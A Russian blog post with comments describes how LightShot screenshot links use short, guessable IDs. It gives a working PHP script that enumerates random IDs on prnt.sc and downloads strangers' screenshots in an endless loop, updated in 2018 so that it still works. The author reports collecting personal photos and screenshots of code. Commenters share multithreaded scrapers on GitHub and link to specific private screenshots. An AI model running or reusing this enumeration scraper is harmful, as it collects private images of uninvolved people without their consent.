LightShot и чужие скриншоты

    LightShot logo

    Сегодня я наткнулся на одну «уязвимость» сервиса для моментальных скриншотов LightShot.

    Всё началось с того, что я загрузил очередной скриншот и вспомнил недавнюю статью на хабре, где сливались пользовательские данные по ссылкам методом перебора.
    Попробовав изменить одну букву в URL'e, мне любезно выдало чужой скриншот.

    Для начала я попытался понять по какой маске генерируется ссылка вида http://prntscr.com/1npf9n
    После небольших экспериментов, понял что маска скорее всего вида prntscr.com/1[a-z0–9] (после цифры 1 идет от 4 до 5 рандомных символов)
    Так же я попробовал ссылки http://prntscr.com/login и http://prntscr.com/admin, по которым тоже увидел скриншоты.
    Вероятнее всего алгоритм немного переписывался, и текущий алгоритм генерации ссылки устроен так, что исчерпав все варианты комбинаций, либо увеличится длина ссылки до 7 символов, либо маска станет prntscr.com/2[a-z0–9]

    В процессе обнаружил одну особенность сервиса — он не хранит картинки у себя на сервере, а заливает их через API на imgur.com и imageshack.us

    Меня терзало любопытство: «А можно ли скачать все скриншоты?»
    И было решено написать небольшой скрипт. Сначала хотел писать на Python, но он не установлен на моем рабочем ноутбуке, зато под руку попался Denwer и PHP.
    Просьба не пинать меня за мой код, который был написан за 5 минут на скорую руку. Он вполне рабочий.

    <?php
    set_time_limit(0); // убираем ограничение по времени выполнения скрипта
    ob_implicit_flush();
    
    function random_string($length)
    { // функция генерации рандомной строки
    	$chars = "abcdefghijklmnopqrstuvwxyz1234567890"; // символы из которых генерируем
    	$numChars = strlen($chars); // Определяем длину $chars
    	$string = ''; // задаем пустую переменную
    	for ($i = 0; $i < $length; $i++) { // Собираем строку
    		$string.= substr($chars, rand(1, $numChars) - 1, 1);
    	}
    	return $string; // Возвращаем готовую строку
    }
    
    function get_http_response_code($url) { // функция проверки http кода
    	$headers = get_headers($url);
    	return substr($headers[0], 9, 3);
    }
    
    if (!file_exists('lightshot_images')) { // создаем директорию куда сохранять картинки, если отсутствует
    	mkdir('lightshot_images', 0777);
    }
    
    $options = array(
    	'http' => array(
    		'method' => "GET",
    		'header' => "Accept-language: en\r\n" . "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n"
    	)
    );
    $context = stream_context_create($options);
    
    while (1) {
    	$randstring = random_string(5); // генерируем рандомную сроку
    	$htmldata = file_get_contents('https://prnt.sc/m' . $randstring, false, $context); // подставляем рандомную строку и получаем код страницы
    	preg_match_all('/<meta name=\"twitter:image:src\" content=\"(.*?)\"\/>/is', $htmldata, $img_url); // парсим регуляркой url картинки
    	if (strlen($img_url[1][0]) > 1) { // проверяем длину полученной строки, если больше 1 - картинка по этому адресу есть
    		$imgs = str_replace('//st.prntscr', 'https://st.prntscr', $img_url[1][0]);
    		$localname = array_pop(explode('/', $img_url[1][0])); // разбиваем строку в массив и извлекаем последний элемент массива (т.е. imagename.png)
    		$localpath = "./lightshot_images/" . $localname; // определяем куда будет сохраняться картинка локально.
    		if (get_http_response_code($imgs) != "200") {
    			echo "<span style='color:red;display:block;margin-bottom:10px;font-size:14px;'>404. По адресу " . $imgs . " картинки больше нет :(</span>";
    		} else {
    			file_put_contents($localpath, file_get_contents($imgs, false, $context)); // скачиваем, можно было бы реализовать через curl, но на мой взгляд это проще и быстрее
    			echo "<span style='color:green;display:block;margin-bottom:10px;font-size:14px;'>Сохранение - " . $localname . " , url - http://prntscr.com/m" . $randstring . " , скачиваем с " . $imgs . "</span>";
    		}
    	} else {
    		echo "<span style='color:red;display:block;margin-bottom:10px;font-size:14px;'>По адресу http://prntscr.com/m" . $randstring . " нет картинки</span>";
    	}
    }
    ?>
    


    Результат выполнения в браузере (как видно, ~95% сгенерированных рандомных ссылок выдают скриншоты)
    image
    В итоге накачал целую кучу скриншотов, среди которых есть слишком личные фото людей, скриншоты кода, и много других интересных вещей.

    UPD 2018: Поправил скрипт с учетом изменений произошедших на lightshot. Теперь снова работает.
    Поделиться публикацией
    AdBlock похитил этот баннер, но баннеры не зубы — отрастут

    Подробнее
    Реклама

    Комментарии 25

    • НЛО прилетело и опубликовало эту надпись здесь
        +1
        к тому же там прямо после скриншота можно зарисовать. в самой программе.
        человек неправильно статью оформил, он хотел похвастаться просто.
          +1
          Факт в том, что к сожалению не все знают и понимают такие моменты, и думают что если они дадут ссылку только своему другу, никто кроме него эту картинку не увидит.
          +2
          Народ, объединитесь уже все вместе и напишите одного распараллеленного паука, который всё скачает!

          Есть для этого даже готовые фреймворки — надо лишь прикрутить генератор урлов.
            0
            Зачем?
              0
              Это ирония была ;)

              Просто это уже непомнюкакой по счёту велосипед для скачивания картинок с какого-либо стораджа. Я понимаю, что все любят писать велосипеды, но просто на одну и ту же тему их что-то слишком много стало появляться.
            +2
            Помнится я так баловался с одним сайтом
              –2
              Именно поэтому я использую JShoot c плагином выкладывающим в Dropbox.
              Так имею больше контроля (хотелось бы верить) и при желании могу удалить файл.
                +3
                Зато файл ляжет после 1000+ посещений,
                да и кол-ва просмотров нет.
                  –2
                  Лучше бы он ложился после одного-двух просмотров, ибо больше мне не надо, и даже вредно, если кто то кроме заказчика будет сильно много смотреть. =)
                +9
                В итоге накачал целую кучу скриншотов, среди которых есть слишком личные фото людей, скриншоты кода, и много других интересных вещей.
                Ну и где подборка лучшего?
                  +1
                  А в сервис написали?
                  Может они все таки придумают админку и возможность удалять или «запирать» скриншоты.
                    +6
                    А я тут недавно узнал, что у ютуба ссылка вида youtube.com/watch?v=JbRCdF9cc_o и перебирая буквоцифры в конце можно посмотреть почти все ролики на тытрубе. Пойду статью напишу об этом.
                      0
                      теоретически на ютубе можно найти приватные видео которые доступны только по ссылке
                        +1
                        Забыл, еще как то ссылку по иному если сформировать, то видео будет доступно, если запрещено в стране просмотра, но будет на весь экране (голый плеер, без HTML обертки).
                      +2
                      Гениально! А вот у CloudApp после cl.y только 4 цифро-буквы. Вот пример — cl.ly/Habr
                      Это называется public urls, есть ещё private — когда символов 16 или больше. Про private urls статьи не пишут, к сожалению.
                        +3
                          0
                          А где уязвимость? Если здесь отсутствует привязка к конкретному пользователю. И сервис генерирует короткие ссылки. Я не удивлюсь, что они используют систему счисления с основанием 36. Такая же «уязвимость» есть у всех сервисов коротких ссылок.
                            0
                            Ссылки не столь интересно, а вот мужик с лисиной и котом из комментария выше не ожидал, что появится на хабре заливая очередной скриншот
                              0
                              бабуська вообще не парится — prntscr.com/1tbhfd
                                0
                                Зато котейка хорош!
                              +3
                              я вот сейчас осознал, насколько невообразимо велик интернет и его пользователи
                              prntscr.com/1tborn
                                0
                                От нече делать запилил на C#: github.com/Nigrimmist/prntscr_parser
                                Основной файл с кодом: github.com/Nigrimmist/prntscr_parser/blob/master/Program.cs
                                .exe лежит в bin/release если вдруг кому нужен.
                                За качество кода не ругать, писал на скорую руку.
                                Из коробки сделал 200 потоков.
                                Алгоритм подбора в лоб, не рандом. Т.е. начиная с 1aaaaa, 1aaaab и тд. включая цифры.
                                  0
                                  Сразу запустил, одни ошибки, только после разбора комментариев заметил
                                  // определяем куда будет сохраняться картинка локально. у меня заранее создана папка images

                                  Создал папку, все заработало.
                                    0
                                    Нормально сделал. Я вот увидел на Ютубе одного чудака, он показывал скрип на Python как раз. Я пытался разобрать код, но в итоге написал сам и тоже на PHP. Прошу заметить что написал ДО того как увидел эту статью. У меня своя реализация)
                                    Ты молодец!
                                    github.com/VladislavMilev/prnt.sc_parser

                                    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                    Самое читаемое